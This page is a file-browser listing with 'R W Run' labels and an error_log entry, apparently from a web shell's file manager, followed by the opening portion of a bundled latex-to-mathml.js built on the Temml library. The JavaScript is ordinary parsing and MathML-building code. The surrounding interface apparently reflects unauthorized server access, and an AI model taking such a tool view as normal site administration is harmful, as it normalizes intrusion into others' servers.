run:R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
12.66 KB
2025-12-03 06:22:56
R W Run
9.24 KB
2025-12-03 06:22:56
R W Run
12.66 KB
2025-12-03 06:22:56
R W Run
9.18 KB
2025-12-03 06:22:56
R W Run
22.91 KB
2025-12-03 06:22:56
R W Run
12.27 KB
2025-12-03 06:22:56
R W Run
23.02 KB
2025-12-03 06:22:56
R W Run
12.74 KB
2025-12-03 06:22:56
R W Run
17.03 KB
2025-12-03 06:22:56
R W Run
12.56 KB
2024-01-31 12:59:56
R W Run
7.34 KB
2025-12-03 06:22:56
R W Run
7.15 KB
2025-12-03 06:22:56
R W Run
10.17 KB
2025-12-03 06:22:56
R W Run
8.16 KB
2024-01-31 12:59:56
R W Run
77.3 KB
2025-12-03 06:22:56
R W Run
27.26 KB
2025-12-03 06:22:56
R W Run
2.23 MB
2026-02-04 01:01:35
R W Run
878.41 KB
2026-02-04 01:01:35
R W Run
2.2 MB
2026-02-04 01:01:35
R W Run
967.08 KB
2026-02-04 01:01:35
R W Run
13.89 KB
2025-12-03 06:22:56
R W Run
9.42 KB
2024-01-31 12:59:56
R W Run
434.6 KB
2026-02-04 01:01:35
R W Run
179.81 KB
2026-02-04 01:01:35
R W Run
178.79 KB
2025-12-03 06:22:56
R W Run
55.84 KB
2025-12-03 06:22:56
R W Run
2.39 MB
2026-02-04 01:01:35
R W Run
793.68 KB
2026-02-04 01:01:35
R W Run
149.99 KB
2025-12-03 06:22:56
R W Run
42.85 KB
2025-12-03 06:22:56
R W Run
32.74 KB
2025-12-03 06:22:56
R W Run
17.47 KB
2025-12-03 06:22:56
R W Run
223.77 KB
2025-12-03 06:22:56
R W Run
75.81 KB
2025-12-03 06:22:56
R W Run
93.53 KB
2025-12-03 06:22:56
R W Run
41.3 KB
2025-12-03 06:22:56
R W Run
11.46 KB
2025-12-03 06:22:56
R W Run
8.52 KB
2024-01-31 12:59:56
R W Run
95.23 KB
2025-12-03 06:22:56
R W Run
31.93 KB
2025-12-03 06:22:56
R W Run
797.94 KB
2025-12-03 06:22:56
R W Run
772.41 KB
2025-12-03 06:22:56
R W Run
9.33 KB
2025-12-03 06:22:56
R W Run
7.75 KB
2024-01-31 12:59:56
R W Run
8.65 KB
2025-12-03 06:22:56
R W Run
7.52 KB
2024-01-31 12:59:56
R W Run
41.26 KB
2025-12-03 06:22:56
R W Run
19.38 KB
2025-12-03 06:22:56
R W Run
111.74 KB
2025-12-03 06:22:56
R W Run
49.77 KB
2025-12-03 06:22:56
R W Run
1.77 MB
2026-02-04 01:01:35
R W Run
707.33 KB
2026-02-04 01:01:35
R W Run
159.45 KB
2025-12-03 06:22:56
R W Run
64.69 KB
2025-12-03 06:22:56
R W Run
1.1 MB
2026-02-04 01:01:35
R W Run
416.87 KB
2026-02-04 01:01:35
R W Run
53.25 KB
2025-12-03 06:22:56
R W Run
18.91 KB
2025-12-03 06:22:56
R W Run
10.07 KB
2025-12-03 06:22:56
R W Run
8.05 KB
2024-01-31 12:59:56
R W Run
78.51 KB
2026-02-04 01:01:35
R W Run
33.84 KB
2026-02-04 01:01:35
R W Run
22.72 KB
2025-12-03 06:22:56
R W Run
12.61 KB
2025-12-03 06:22:56
R W Run
9.37 KB
2025-12-03 06:22:56
R W Run
7.85 KB
2025-12-03 06:22:56
R W Run
31.42 KB
2025-12-03 06:22:56
R W Run
12.27 KB
2025-12-03 06:22:56
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
10.36 KB
2025-12-03 06:22:56
R W Run
8.07 KB
2024-01-31 12:59:56
R W Run
16.3 KB
2025-12-03 06:22:56
R W Run
10.06 KB
2025-12-03 06:22:56
R W Run
14.97 KB
2025-12-03 06:22:56
R W Run
9.59 KB
2025-12-03 06:22:56
R W Run
451.81 KB
2025-12-03 06:22:56
R W Run
199.1 KB
2025-12-03 06:22:56
R W Run
37.03 KB
2025-12-03 06:22:56
R W Run
11.7 KB
2025-12-03 06:22:56
R W Run
30.42 KB
2025-12-03 06:22:56
R W Run
16.8 KB
2025-12-03 06:22:56
R W Run
12.92 KB
2025-12-03 06:22:56
R W Run
9.11 KB
2025-12-03 06:22:56
R W Run
16.97 KB
2025-12-03 06:22:56
R W Run
10.51 KB
2025-12-03 06:22:56
R W Run
67.39 KB
2025-12-03 06:22:56
R W Run
28.55 KB
2025-12-03 06:22:56
R W Run
20.73 KB
2025-12-03 06:22:56
R W Run
11.31 KB
2025-12-03 06:22:56
R W Run
23.9 KB
2025-12-03 06:22:56
R W Run
12.41 KB
2025-12-03 06:22:56
R W Run
27.34 KB
2025-12-03 06:22:56
R W Run
13.93 KB
2025-12-03 06:22:56
R W Run
12.18 KB
2025-12-03 06:22:56
R W Run
8.7 KB
2025-12-03 06:22:56
R W Run
16.97 KB
2025-12-03 06:22:56
R W Run
10.38 KB
2025-12-03 06:22:56
R W Run
12.42 KB
2025-12-03 06:22:56
R W Run
9.84 KB
2025-12-03 06:22:56
R W Run
28.3 KB
2025-12-03 06:22:56
R W Run
15.76 KB
2025-04-16 02:33:33
R W Run
25.52 KB
2025-12-03 06:22:56
R W Run
12.98 KB
2025-12-03 06:22:56
R W Run
90.6 KB
2025-12-03 06:22:56
R W Run
43.5 KB
2025-12-03 06:22:56
R W Run
59.35 KB
2025-12-03 06:22:56
R W Run
20.52 KB
2025-12-03 06:22:56
R W Run
16.76 KB
2025-12-03 06:22:56
R W Run
10.16 KB
2025-12-03 06:22:56
R W Run
16.91 KB
2025-12-03 06:22:56
R W Run
9.91 KB
2025-12-03 06:22:56
R W Run
42.2 KB
2025-12-03 06:22:56
R W Run
13 KB
2025-12-03 06:22:56
R W Run
12.94 KB
2025-12-03 06:22:56
R W Run
8.35 KB
2025-12-03 06:22:56
R W Run
27.33 KB
2025-12-03 06:22:56
R W Run
15.41 KB
2025-12-03 06:22:56
R W Run
13.37 KB
2025-12-03 06:22:56
R W Run
8.91 KB
2025-12-03 06:22:56
R W Run
14.88 KB
2025-12-03 06:22:56
R W Run
9.76 KB
2025-12-03 06:22:56
R W Run
8.68 KB
2025-12-03 06:22:56
R W Run
7.37 KB
2025-12-03 06:22:56
R W Run
54.69 KB
2025-12-03 06:22:56
R W Run
26.58 KB
2025-12-03 06:22:56
R W Run
20.33 KB
2025-12-03 06:22:56
R W Run
10.32 KB
2025-12-03 06:22:56
R W Run
error_log
📄latex-to-mathml.js
1/******/ (() => { // webpackBootstrap
2/******/ "use strict";
3/******/ // The require scope
4/******/ var __webpack_require__ = {};
5/******/
6/************************************************************************/
7/******/ /* webpack/runtime/define property getters */
8/******/ (() => {
9/******/ // define getter functions for harmony exports
10/******/ __webpack_require__.d = (exports, definition) => {
11/******/ for(var key in definition) {
12/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
13/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
14/******/ }
15/******/ }
16/******/ };
17/******/ })();
18/******/
19/******/ /* webpack/runtime/hasOwnProperty shorthand */
20/******/ (() => {
21/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
22/******/ })();
23/******/
24/******/ /* webpack/runtime/make namespace object */
25/******/ (() => {
26/******/ // define __esModule on exports
27/******/ __webpack_require__.r = (exports) => {
28/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
29/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
30/******/ }
31/******/ Object.defineProperty(exports, '__esModule', { value: true });
32/******/ };
33/******/ })();
34/******/
35/************************************************************************/
36var __webpack_exports__ = {};
37// ESM COMPAT FLAG
38__webpack_require__.r(__webpack_exports__);
39
40// EXPORTS
41__webpack_require__.d(__webpack_exports__, {
42 "default": () => (/* binding */ latexToMathML)
43});
44
45;// ./node_modules/temml/dist/temml.mjs
46/**
47 * This is the ParseError class, which is the main error thrown by Temml
48 * functions when something has gone wrong. This is used to distinguish internal
49 * errors from errors in the expression that the user provided.
50 *
51 * If possible, a caller should provide a Token or ParseNode with information
52 * about where in the source string the problem occurred.
53 */
54class ParseError {
55 constructor(
56 message, // The error message
57 token // An object providing position information
58 ) {
59 let error = " " + message;
60 let start;
61
62 const loc = token && token.loc;
63 if (loc && loc.start <= loc.end) {
64 // If we have the input and a position, make the error a bit fancier
65
66 // Get the input
67 const input = loc.lexer.input;
68
69 // Prepend some information
70 start = loc.start;
71 const end = loc.end;
72 if (start === input.length) {
73 error += " at end of input: ";
74 } else {
75 error += " at position " + (start + 1) + ": ";
76 }
77
78 // Underline token in question using combining underscores
79 const underlined = input.slice(start, end).replace(/[^]/g, "$&\u0332");
80
81 // Extract some context from the input and add it to the error
82 let left;
83 if (start > 15) {
84 left = "…" + input.slice(start - 15, start);
85 } else {
86 left = input.slice(0, start);
87 }
88 let right;
89 if (end + 15 < input.length) {
90 right = input.slice(end, end + 15) + "…";
91 } else {
92 right = input.slice(end);
93 }
94 error += left + underlined + right;
95 }
96
97 // Some hackery to make ParseError a prototype of Error
98 // See http://stackoverflow.com/a/8460753
99 const self = new Error(error);
100 self.name = "ParseError";
101 self.__proto__ = ParseError.prototype;
102 self.position = start;
103 return self;
104 }
105}
106
107ParseError.prototype.__proto__ = Error.prototype;
108
109//
110/**
111 * This file contains a list of utility functions which are useful in other
112 * files.
113 */
114
115/**
116 * Provide a default value if a setting is undefined
117 */
118const deflt = function(setting, defaultIfUndefined) {
119 return setting === undefined ? defaultIfUndefined : setting;
120};
121
122// hyphenate and escape adapted from Facebook's React under Apache 2 license
123
124const uppercase = /([A-Z])/g;
125const hyphenate = function(str) {
126 return str.replace(uppercase, "-$1").toLowerCase();
127};
128
129const ESCAPE_LOOKUP = {
130 "&": "&amp;",
131 ">": "&gt;",
132 "<": "&lt;",
133 '"': "&quot;",
134 "'": "&#x27;"
135};
136
137const ESCAPE_REGEX = /[&><"']/g;
138
139/**
140 * Escapes text to prevent scripting attacks.
141 */
142function temml_escape(text) {
143 return String(text).replace(ESCAPE_REGEX, (match) => ESCAPE_LOOKUP[match]);
144}
145
146/**
147 * Sometimes we want to pull out the innermost element of a group. In most
148 * cases, this will just be the group itself, but when ordgroups and colors have
149 * a single element, we want to pull that out.
150 */
151const getBaseElem = function(group) {
152 if (group.type === "ordgroup") {
153 if (group.body.length === 1) {
154 return getBaseElem(group.body[0]);
155 } else {
156 return group;
157 }
158 } else if (group.type === "color") {
159 if (group.body.length === 1) {
160 return getBaseElem(group.body[0]);
161 } else {
162 return group;
163 }
164 } else if (group.type === "font") {
165 return getBaseElem(group.body);
166 } else {
167 return group;
168 }
169};
170
171/**
172 * TeXbook algorithms often reference "character boxes", which are simply groups
173 * with a single character in them. To decide if something is a character box,
174 * we find its innermost group, and see if it is a single character.
175 */
176const isCharacterBox = function(group) {
177 const baseElem = getBaseElem(group);
178
179 // These are all the types of groups which hold single characters
180 return baseElem.type === "mathord" || baseElem.type === "textord" || baseElem.type === "atom"
181};
182
183const assert = function(value) {
184 if (!value) {
185 throw new Error("Expected non-null, but got " + String(value));
186 }
187 return value;
188};
189
190/**
191 * Return the protocol of a URL, or "_relative" if the URL does not specify a
192 * protocol (and thus is relative), or `null` if URL has invalid protocol
193 * (so should be outright rejected).
194 */
195const protocolFromUrl = function(url) {
196 // Check for possible leading protocol.
197 // https://url.spec.whatwg.org/#url-parsing strips leading whitespace
198 // (\x00) or C0 control (\x00-\x1F) characters.
199 // eslint-disable-next-line no-control-regex
200 const protocol = /^[\x00-\x20]*([^\\/#?]*?)(:|&#0*58|&#x0*3a|&colon)/i.exec(url);
201 if (!protocol) {
202 return "_relative";
203 }
204 // Reject weird colons
205 if (protocol[2] !== ":") {
206 return null;
207 }
208 // Reject invalid characters in scheme according to
209 // https://datatracker.ietf.org/doc/html/rfc3986#section-3.1
210 if (!/^[a-zA-Z][a-zA-Z0-9+\-.]*$/.test(protocol[1])) {
211 return null;
212 }
213 // Lowercase the protocol
214 return protocol[1].toLowerCase();
215};
216
217/**
218 * Round `n` to 4 decimal places, or to the nearest 1/10,000th em. The TeXbook
219 * gives an acceptable rounding error of 100sp (which would be the nearest
220 * 1/6551.6em with our ptPerEm = 10):
221 * http://www.ctex.org/documents/shredder/src/texbook.pdf#page=69
222 */
223const round = function(n) {
224 return +n.toFixed(4);
225};
226
227var utils = {
228 deflt,
229 escape: temml_escape,
230 hyphenate,
231 getBaseElem,
232 isCharacterBox,
233 protocolFromUrl,
234 round
235};
236
237/**
238 * This is a module for storing settings passed into Temml. It correctly handles
239 * default settings.
240 */
241
242
243/**
244 * The main Settings object
245 */
246class Settings {
247 constructor(options) {
248 // allow null options
249 options = options || {};
250 this.displayMode = utils.deflt(options.displayMode, false); // boolean
251 this.annotate = utils.deflt(options.annotate, false); // boolean
252 this.leqno = utils.deflt(options.leqno, false); // boolean
253 this.throwOnError = utils.deflt(options.throwOnError, false); // boolean
254 this.errorColor = utils.deflt(options.errorColor, "#b22222"); // string
255 this.macros = options.macros || {};
256 this.wrap = utils.deflt(options.wrap, "tex"); // "tex" | "="
257 this.xml = utils.deflt(options.xml, false); // boolean
258 this.colorIsTextColor = utils.deflt(options.colorIsTextColor, false); // booelean
259 this.strict = utils.deflt(options.strict, false); // boolean
260 this.trust = utils.deflt(options.trust, false); // trust context. See html.js.
261 this.maxSize = (options.maxSize === undefined
262 ? [Infinity, Infinity]
263 : Array.isArray(options.maxSize)
264 ? options.maxSize
265 : [Infinity, Infinity]
266 );
267 this.maxExpand = Math.max(0, utils.deflt(options.maxExpand, 1000)); // number
268 }
269
270 /**
271 * Check whether to test potentially dangerous input, and return
272 * `true` (trusted) or `false` (untrusted). The sole argument `context`
273 * should be an object with `command` field specifying the relevant LaTeX
274 * command (as a string starting with `\`), and any other arguments, etc.
275 * If `context` has a `url` field, a `protocol` field will automatically
276 * get added by this function (changing the specified object).
277 */
278 isTrusted(context) {
279 if (context.url && !context.protocol) {
280 const protocol = utils.protocolFromUrl(context.url);
281 if (protocol == null) {
282 return false
283 }
284 context.protocol = protocol;
285 }
286 const trust = typeof this.trust === "function" ? this.trust(context) : this.trust;
287 return Boolean(trust);
288 }
289}
290
291/**
292 * All registered functions.
293 * `functions.js` just exports this same dictionary again and makes it public.
294 * `Parser.js` requires this dictionary.
295 */
296const _functions = {};
297
298/**
299 * All MathML builders. Should be only used in the `define*` and the `build*ML`
300 * functions.
301 */
302const _mathmlGroupBuilders = {};
303
304function defineFunction({
305 type,
306 names,
307 props,
308 handler,
309 mathmlBuilder
310}) {
311 // Set default values of functions
312 const data = {
313 type,
314 numArgs: props.numArgs,
315 argTypes: props.argTypes,
316 allowedInArgument: !!props.allowedInArgument,
317 allowedInText: !!props.allowedInText,
318 allowedInMath: props.allowedInMath === undefined ? true : props.allowedInMath,
319 numOptionalArgs: props.numOptionalArgs || 0,
320 infix: !!props.infix,
321 primitive: !!props.primitive,
322 handler: handler
323 };
324 for (let i = 0; i < names.length; ++i) {
325 _functions[names[i]] = data;
326 }
327 if (type) {
328 if (mathmlBuilder) {
329 _mathmlGroupBuilders[type] = mathmlBuilder;
330 }
331 }
332}
333
334/**
335 * Use this to register only the MathML builder for a function(e.g.
336 * if the function's ParseNode is generated in Parser.js rather than via a
337 * stand-alone handler provided to `defineFunction`).
338 */
339function defineFunctionBuilders({ type, mathmlBuilder }) {
340 defineFunction({
341 type,
342 names: [],
343 props: { numArgs: 0 },
344 handler() {
345 throw new Error("Should never be called.")
346 },
347 mathmlBuilder
348 });
349}
350
351const normalizeArgument = function(arg) {
352 return arg.type === "ordgroup" && arg.body.length === 1 ? arg.body[0] : arg
353};
354
355// Since the corresponding buildMathML function expects a
356// list of elements, we normalize for different kinds of arguments
357const ordargument = function(arg) {
358 return arg.type === "ordgroup" ? arg.body : [arg]
359};
360
361/**
362 * This node represents a document fragment, which contains elements, but when
363 * placed into the DOM doesn't have any representation itself. It only contains
364 * children and doesn't have any DOM node properties.
365 */
366class DocumentFragment {
367 constructor(children) {
368 this.children = children;
369 this.classes = [];
370 this.style = {};
371 }
372
373 hasClass(className) {
374 return this.classes.includes(className);
375 }
376
377 /** Convert the fragment into a node. */
378 toNode() {
379 const frag = document.createDocumentFragment();
380
381 for (let i = 0; i < this.children.length; i++) {
382 frag.appendChild(this.children[i].toNode());
383 }
384
385 return frag;
386 }
387
388 /** Convert the fragment into HTML markup. */
389 toMarkup() {
390 let markup = "";
391
392 // Simply concatenate the markup for the children together.
393 for (let i = 0; i < this.children.length; i++) {
394 markup += this.children[i].toMarkup();
395 }
396
397 return markup;
398 }
399
400 /**
401 * Converts the math node into a string, similar to innerText. Applies to
402 * MathDomNode's only.
403 */
404 toText() {
405 // To avoid this, we would subclass documentFragment separately for
406 // MathML, but polyfills for subclassing is expensive per PR 1469.
407 const toText = (child) => child.toText();
408 return this.children.map(toText).join("");
409 }
410}
411
412/**
413 * These objects store the data about the DOM nodes we create, as well as some
414 * extra data. They can then be transformed into real DOM nodes with the
415 * `toNode` function or HTML markup using `toMarkup`. They are useful for both
416 * storing extra properties on the nodes, as well as providing a way to easily
417 * work with the DOM.
418 *
419 * Similar functions for working with MathML nodes exist in mathMLTree.js.
420 *
421 */
422
423/**
424 * Create an HTML className based on a list of classes. In addition to joining
425 * with spaces, we also remove empty classes.
426 */
427const createClass = function(classes) {
428 return classes.filter((cls) => cls).join(" ");
429};
430
431const initNode = function(classes, style) {
432 this.classes = classes || [];
433 this.attributes = {};
434 this.style = style || {};
435};
436
437/**
438 * Convert into an HTML node
439 */
440const toNode = function(tagName) {
441 const node = document.createElement(tagName);
442
443 // Apply the class
444 node.className = createClass(this.classes);
445
446 // Apply inline styles
447 for (const style in this.style) {
448 if (Object.prototype.hasOwnProperty.call(this.style, style )) {
449 node.style[style] = this.style[style];
450 }
451 }
452
453 // Apply attributes
454 for (const attr in this.attributes) {
455 if (Object.prototype.hasOwnProperty.call(this.attributes, attr )) {
456 node.setAttribute(attr, this.attributes[attr]);
457 }
458 }
459
460 // Append the children, also as HTML nodes
461 for (let i = 0; i < this.children.length; i++) {
462 node.appendChild(this.children[i].toNode());
463 }
464
465 return node;
466};
467
468/**
469 * Convert into an HTML markup string
470 */
471const toMarkup = function(tagName) {
472 let markup = `<${tagName}`;
473
474 // Add the class
475 if (this.classes.length) {
476 markup += ` class="${utils.escape(createClass(this.classes))}"`;
477 }
478
479 let styles = "";
480
481 // Add the styles, after hyphenation
482 for (const style in this.style) {
483 if (Object.prototype.hasOwnProperty.call(this.style, style )) {
484 styles += `${utils.hyphenate(style)}:${this.style[style]};`;
485 }
486 }
487
488 if (styles) {
489 markup += ` style="${styles}"`;
490 }
491
492 // Add the attributes
493 for (const attr in this.attributes) {
494 if (Object.prototype.hasOwnProperty.call(this.attributes, attr )) {
495 markup += ` ${attr}="${utils.escape(this.attributes[attr])}"`;
496 }
497 }
498
499 markup += ">";
500
501 // Add the markup of the children, also as markup
502 for (let i = 0; i < this.children.length; i++) {
503 markup += this.children[i].toMarkup();
504 }
505
506 markup += `</${tagName}>`;
507
508 return markup;
509};
510
511/**
512 * This node represents a span node, with a className, a list of children, and
513 * an inline style.
514 *
515 */
516class Span {
517 constructor(classes, children, style) {
518 initNode.call(this, classes, style);
519 this.children = children || [];
520 }
521
522 setAttribute(attribute, value) {
523 this.attributes[attribute] = value;
524 }
525
526 toNode() {
527 return toNode.call(this, "span");
528 }
529
530 toMarkup() {
531 return toMarkup.call(this, "span");
532 }
533}
534
535let TextNode$1 = class TextNode {
536 constructor(text) {
537 this.text = text;
538 }
539 toNode() {
540 return document.createTextNode(this.text);
541 }
542 toMarkup() {
543 return utils.escape(this.text);
544 }
545};
546
547// Create an <a href="…"> node.
548class AnchorNode {
549 constructor(href, classes, children) {
550 this.href = href;
551 this.classes = classes;
552 this.children = children || [];
553 }
554
555 toNode() {
556 const node = document.createElement("a");
557 node.setAttribute("href", this.href);
558 if (this.classes.length > 0) {
559 node.className = createClass(this.classes);
560 }
561 for (let i = 0; i < this.children.length; i++) {
562 node.appendChild(this.children[i].toNode());
563 }
564 return node
565 }
566
567 toMarkup() {
568 let markup = `<a href='${utils.escape(this.href)}'`;
569 if (this.classes.length > 0) {
570 markup += ` class="${utils.escape(createClass(this.classes))}"`;
571 }
572 markup += ">";
573 for (let i = 0; i < this.children.length; i++) {
574 markup += this.children[i].toMarkup();
575 }
576 markup += "</a>";
577 return markup
578 }
579}
580
581/*
582 * This node represents an image embed (<img>) element.
583 */
584class Img {
585 constructor(src, alt, style) {
586 this.alt = alt;
587 this.src = src;
588 this.classes = ["mord"];
589 this.style = style;
590 }
591
592 hasClass(className) {
593 return this.classes.includes(className);
594 }
595
596 toNode() {
597 const node = document.createElement("img");
598 node.src = this.src;
599 node.alt = this.alt;
600 node.className = "mord";
601
602 // Apply inline styles
603 for (const style in this.style) {
604 if (Object.prototype.hasOwnProperty.call(this.style, style )) {
605 node.style[style] = this.style[style];
606 }
607 }
608
609 return node;
610 }
611
612 toMarkup() {
613 let markup = `<img src='${this.src}' alt='${this.alt}'`;
614
615 // Add the styles, after hyphenation
616 let styles = "";
617 for (const style in this.style) {
618 if (Object.prototype.hasOwnProperty.call(this.style, style )) {
619 styles += `${utils.hyphenate(style)}:${this.style[style]};`;
620 }
621 }
622 if (styles) {
623 markup += ` style="${utils.escape(styles)}"`;
624 }
625
626 markup += ">";
627 return markup;
628 }
629}
630
631//
632/**
633 * These objects store data about MathML nodes.
634 * The `toNode` and `toMarkup` functions create namespaced DOM nodes and
635 * HTML text markup respectively.
636 */
637
638
639function newDocumentFragment(children) {
640 return new DocumentFragment(children);
641}
642
643/**
644 * This node represents a general purpose MathML node of any type,
645 * for example, `"mo"` or `"mspace"`, corresponding to `<mo>` and
646 * `<mspace>` tags).
647 */
648class MathNode {
649 constructor(type, children, classes, style) {
650 this.type = type;
651 this.attributes = {};
652 this.children = children || [];
653 this.classes = classes || [];
654 this.style = style || {}; // Used for <mstyle> elements
655 this.label = "";
656 }
657
658 /**
659 * Sets an attribute on a MathML node. MathML depends on attributes to convey a
660 * semantic content, so this is used heavily.
661 */
662 setAttribute(name, value) {
663 this.attributes[name] = value;
664 }
665
666 /**
667 * Gets an attribute on a MathML node.
668 */
669 getAttribute(name) {
670 return this.attributes[name];
671 }
672
673 setLabel(value) {
674 this.label = value;
675 }
676
677 /**
678 * Converts the math node into a MathML-namespaced DOM element.
679 */
680 toNode() {
681 const node = document.createElementNS("http://www.w3.org/1998/Math/MathML", this.type);
682
683 for (const attr in this.attributes) {
684 if (Object.prototype.hasOwnProperty.call(this.attributes, attr)) {
685 node.setAttribute(attr, this.attributes[attr]);
686 }
687 }
688
689 if (this.classes.length > 0) {
690 node.className = createClass(this.classes);
691 }
692
693 // Apply inline styles
694 for (const style in this.style) {
695 if (Object.prototype.hasOwnProperty.call(this.style, style )) {
696 node.style[style] = this.style[style];
697 }
698 }
699
700 for (let i = 0; i < this.children.length; i++) {
701 node.appendChild(this.children[i].toNode());
702 }
703
704 return node;
705 }
706
707 /**
708 * Converts the math node into an HTML markup string.
709 */
710 toMarkup() {
711 let markup = "<" + this.type;
712
713 // Add the attributes
714 for (const attr in this.attributes) {
715 if (Object.prototype.hasOwnProperty.call(this.attributes, attr)) {
716 markup += " " + attr + '="';
717 markup += utils.escape(this.attributes[attr]);
718 markup += '"';
719 }
720 }
721
722 if (this.classes.length > 0) {
723 markup += ` class="${utils.escape(createClass(this.classes))}"`;
724 }
725
726 let styles = "";
727
728 // Add the styles, after hyphenation
729 for (const style in this.style) {
730 if (Object.prototype.hasOwnProperty.call(this.style, style )) {
731 styles += `${utils.hyphenate(style)}:${this.style[style]};`;
732 }
733 }
734
735 if (styles) {
736 markup += ` style="${styles}"`;
737 }
738
739 markup += ">";
740
741 for (let i = 0; i < this.children.length; i++) {
742 markup += this.children[i].toMarkup();
743 }
744
745 markup += "</" + this.type + ">";
746
747 return markup;
748 }
749
750 /**
751 * Converts the math node into a string, similar to innerText, but escaped.
752 */
753 toText() {
754 return this.children.map((child) => child.toText()).join("");
755 }
756}
757
758/**
759 * This node represents a piece of text.
760 */
761class TextNode {
762 constructor(text) {
763 this.text = text;
764 }
765
766 /**
767 * Converts the text node into a DOM text node.
768 */
769 toNode() {
770 return document.createTextNode(this.text);
771 }
772
773 /**
774 * Converts the text node into escaped HTML markup
775 * (representing the text itself).
776 */
777 toMarkup() {
778 return utils.escape(this.toText());
779 }
780
781 /**
782 * Converts the text node into a string
783 * (representing the text itself).
784 */
785 toText() {
786 return this.text;
787 }
788}
789
790// Do not make an <mrow> the only child of a <mstyle>.
791// An <mstyle> acts as its own implicit <mrow>.
792const wrapWithMstyle = expression => {
793 let node;
794 if (expression.length === 1 && expression[0].type === "mrow") {
795 node = expression.pop();
796 node.type = "mstyle";
797 } else {
798 node = new MathNode("mstyle", expression);
799 }
800 return node
801};
802
803var mathMLTree = {
804 MathNode,
805 TextNode,
806 newDocumentFragment
807};
808
809/**
810 * This file provides support for building horizontal stretchy elements.
811 */
812
813
814// TODO: Remove when Chromium stretches \widetilde & \widehat
815const estimatedWidth = node => {
816 let width = 0;
817 if (node.body) {
818 for (const item of node.body) {
819 width += estimatedWidth(item);
820 }
821 } else if (node.type === "supsub") {
822 width += estimatedWidth(node.base);
823 if (node.sub) { width += 0.7 * estimatedWidth(node.sub); }
824 if (node.sup) { width += 0.7 * estimatedWidth(node.sup); }
825 } else if (node.type === "mathord" || node.type === "textord") {
826 for (const ch of node.text.split('')) {
827 const codePoint = ch.codePointAt(0);
828 if ((0x60 < codePoint && codePoint < 0x7B) || (0x03B0 < codePoint && codePoint < 0x3CA)) {
829 width += 0.56; // lower case latin or greek. Use advance width of letter n
830 } else if (0x2F < codePoint && codePoint < 0x3A) {
831 width += 0.50; // numerals.
832 } else {
833 width += 0.92; // advance width of letter M
834 }
835 }
836 } else {
837 width += 1.0;
838 }
839 return width
840};
841
842const stretchyCodePoint = {
843 widehat: "^",
844 widecheck: "ˇ",
845 widetilde: "~",
846 wideparen: "⏜", // \u23dc
847 utilde: "~",
848 overleftarrow: "\u2190",
849 underleftarrow: "\u2190",
850 xleftarrow: "\u2190",
851 overrightarrow: "\u2192",
852 underrightarrow: "\u2192",
853 xrightarrow: "\u2192",
854 underbrace: "\u23df",
855 overbrace: "\u23de",
856 overgroup: "\u23e0",
857 overparen: "⏜",
858 undergroup: "\u23e1",
859 underparen: "\u23dd",
860 overleftrightarrow: "\u2194",
861 underleftrightarrow: "\u2194",
862 xleftrightarrow: "\u2194",
863 Overrightarrow: "\u21d2",
864 xRightarrow: "\u21d2",
865 overleftharpoon: "\u21bc",
866 xleftharpoonup: "\u21bc",
867 overrightharpoon: "\u21c0",
868 xrightharpoonup: "\u21c0",
869 xLeftarrow: "\u21d0",
870 xLeftrightarrow: "\u21d4",
871 xhookleftarrow: "\u21a9",
872 xhookrightarrow: "\u21aa",
873 xmapsto: "\u21a6",
874 xrightharpoondown: "\u21c1",
875 xleftharpoondown: "\u21bd",
876 xtwoheadleftarrow: "\u219e",
877 xtwoheadrightarrow: "\u21a0",
878 xlongequal: "=",
879 xrightleftarrows: "\u21c4",
880 yields: "\u2192",
881 yieldsLeft: "\u2190",
882 mesomerism: "\u2194",
883 longrightharpoonup: "\u21c0",
884 longleftharpoondown: "\u21bd",
885 eqrightharpoonup: "\u21c0",
886 eqleftharpoondown: "\u21bd",
887 "\\cdrightarrow": "\u2192",
888 "\\cdleftarrow": "\u2190",
889 "\\cdlongequal": "="
890};
891
892const mathMLnode = function(label) {
893 const child = new mathMLTree.TextNode(stretchyCodePoint[label.slice(1)]);
894 const node = new mathMLTree.MathNode("mo", [child]);
895 node.setAttribute("stretchy", "true");
896 return node
897};
898
899const crookedWides = ["\\widetilde", "\\widehat", "\\widecheck", "\\utilde"];
900
901// TODO: Remove when Chromium stretches \widetilde & \widehat
902const accentNode = (group) => {
903 const mo = mathMLnode(group.label);
904 if (crookedWides.includes(group.label)) {
905 const width = estimatedWidth(group.base);
906 if (1 < width && width < 1.6) {
907 mo.classes.push("tml-crooked-2");
908 } else if (1.6 <= width && width < 2.5) {
909 mo.classes.push("tml-crooked-3");
910 } else if (2.5 <= width) {
911 mo.classes.push("tml-crooked-4");
912 }
913 }
914 return mo
915};
916
917var stretchy = {
918 mathMLnode,
919 accentNode
920};
921
922/**
923 * This file holds a list of all no-argument functions and single-character
924 * symbols (like 'a' or ';').
925 *
926 * For each of the symbols, there are two properties they can have:
927 * - group (required): the ParseNode group type the symbol should have (i.e.
928 "textord", "mathord", etc).
929 * - replace: the character that this symbol or function should be
930 * replaced with (i.e. "\phi" has a replace value of "\u03d5", the phi
931 * character in the main font).
932 *
933 * The outermost map in the table indicates what mode the symbols should be
934 * accepted in (e.g. "math" or "text").
935 */
936
937// Some of these have a "-token" suffix since these are also used as `ParseNode`
938// types for raw text tokens, and we want to avoid conflicts with higher-level
939// `ParseNode` types. These `ParseNode`s are constructed within `Parser` by
940// looking up the `symbols` map.
941const ATOMS = {
942 bin: 1,
943 close: 1,
944 inner: 1,
945 open: 1,
946 punct: 1,
947 rel: 1
948};
949const NON_ATOMS = {
950 "accent-token": 1,
951 mathord: 1,
952 "op-token": 1,
953 spacing: 1,
954 textord: 1
955};
956
957const symbols = {
958 math: {},
959 text: {}
960};
961
962/** `acceptUnicodeChar = true` is only applicable if `replace` is set. */
963function defineSymbol(mode, group, replace, name, acceptUnicodeChar) {
964 symbols[mode][name] = { group, replace };
965
966 if (acceptUnicodeChar && replace) {
967 symbols[mode][replace] = symbols[mode][name];
968 }
969}
970
971// Some abbreviations for commonly used strings.
